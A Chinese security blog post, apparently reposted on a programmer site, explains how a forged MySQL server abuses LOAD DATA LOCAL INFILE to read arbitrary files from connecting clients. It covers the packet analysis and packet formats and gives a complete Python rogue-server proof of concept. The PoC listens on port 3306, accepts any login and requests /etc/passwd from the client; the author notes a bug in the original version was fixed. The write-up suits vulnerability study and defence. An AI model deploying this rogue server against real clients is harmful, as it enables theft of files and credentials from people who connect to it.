MySQL LOAD DATA 读取客户端任意文件

栏目: 数据库 · 发布时间: 5年前

内容简介:mysql的测试环境:MacOS 10.14

LOAD DATA INFILE

mysql的 LOAD DATA INFILE 语句主要用于读取一个文件的内容并且存入一个表中。通常有两种用法,分别是:

load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

第一个语句是读取服务器上的 /etc/passwd 文件并存入 TestTable 表中,第二个语句是读取客户端本地的 /etc/passwd 文件并存入 TestTable 表中。我们要利用的是 LOAD DATA LOCAL INFILE

官方文档中也提出了这个问题(PS:Google翻译的不是很准确)

MySQL LOAD DATA 读取客户端任意文件

分析数据包

测试环境:

MacOS 10.14

Mysql 5.7.21

使用tcpdump抓取3306端口的数据包

MySQL LOAD DATA 读取客户端任意文件

1.服务器向客户端发送greeting问候包,包含服务端banner信息

MySQL LOAD DATA 读取客户端任意文件

2.客户端发送登陆请求包,包含用户名密码,以及含有LOAD DATA LOCAL选项的客户端banner信息。

MySQL LOAD DATA 读取客户端任意文件 3.然后是客户端初始化的一些查询,比如 select database(); select @@version_comment;
MySQL LOAD DATA 读取客户端任意文件

4.找到我们执行的 LOAD DATA INFILE 数据包,第一个包看起来比较正常,是客户端发起的 Request Query

MySQL LOAD DATA 读取客户端任意文件

5.但是紧接着服务器返回了一个包含刚才所要 LOAD DATA INFILE 的文件名 /Users/smi1e/Desktop/test.txt 的数据包。

MySQL LOAD DATA 读取客户端任意文件

6.然后客户端向服务端发送了 /Users/smi1e/Desktop/test.txt 文件的内容:

MySQL LOAD DATA 读取客户端任意文件

如果我们在客户端发送查询之后,返回一个 Response TABULAR 数据包,即服务端向客户端发送了文件名的数据包,如果我们把这个文件名设置成我们想要读取的文件,那么我们就可以读取客户端的任意文件了。正如官方文档所写的  In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html "13.2.7 LOAD DATA Syntax") statement.
也就是说想要读取哪个文件是服务端说了算,跟客户端所request的文件名没有关系。

最重要的是伪造的服务端可以在任何时候回复一个 file-transfer 请求,不一定非要是在客户端发送 LOAD DATA LOCAL 数据包的时候。

不过如果想要利用此特性,客户端必须具有 CLIENT_LOCAL_FILES 即( Can use LOAD DATA LOCAL )属性。如果没有的话,就要在连接 mysql 的时候加上 --enable-local-infile

搭建MySQL服务端

主要分为

* 向 MySQL Client 发送Server Greeting

* 等待 Client 端发送一个Query Package

* 回复一个file transfer请求

我们需要知道如何构造 File TransferServer Greeting 数据包,这些包的格式都可以在 MySQL 的官方文档上找到。

File Transfer 数据包格式: Protocol::LOCAL_INFILE_Request

并且我们需要等待一个来自 Client 的查询请求,才能回复这个读文件的请求。 不过我们在上面看到客户端在连接成功后会自动的做一些初始化的查询

MySQL LOAD DATA 读取客户端任意文件

官方也给了exmaple

0c 00 00 01 fb 2f 65 74    63 2f 70 61 73 73 77 64    ...../etc/passwd

数据包的内容其实是从 \xfb 开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的 0x0c 是数据包的长度(从 \xfb 开始计算),长度后面的三个字节 \x00\x00\x01 是数据包的序号。

MySQL LOAD DATA 读取客户端任意文件

Greeting 数据包格式: 官方文档 ,如果不会构造可以直接拷贝抓到的数据包然后改一下长度、文件名之类的。

这里直接拷贝大佬归纳的格式。

'\x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '\0',  # Version
'\x36\x00\x00\x00',  # Thread ID
'ABCDABCD' + '\0',  # Salt
'\xff\xf7',  # Capabilities, CLOSE SSL HERE!
'\x08',  # Collation
'\x02\x00',  # Server Status
"\x0f\x80\x15", 
'\0' * 10,  # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"

POC

来源于 https://www.vesiluoma.com/abusing-mysql-clients/ 的POC,测了一个多小时都没成功,最后发现里面 #3payload 写错了,我给改了下。

#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring = "/etc/passwd"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

MySQL LOAD DATA 读取客户端任意文件

Github还有一个项目: https://github.com/Gifts/Rogue-MySql-Server

该特性适用于:MySQL Client、 PHP with mysqli、Python with MySQLdb、 Python 3 with mysqlclient、Java with JDBC Driver等。

Referer


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Practice of Programming

The Practice of Programming

Brian W. Kernighan、Rob Pike / Addison-Wesley / 1999-2-14 / USD 49.99

With the same insight and authority that made their book The Unix Programming Environment a classic, Brian Kernighan and Rob Pike have written The Practice of Programming to help make individual progr......一起来看看 《The Practice of Programming》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码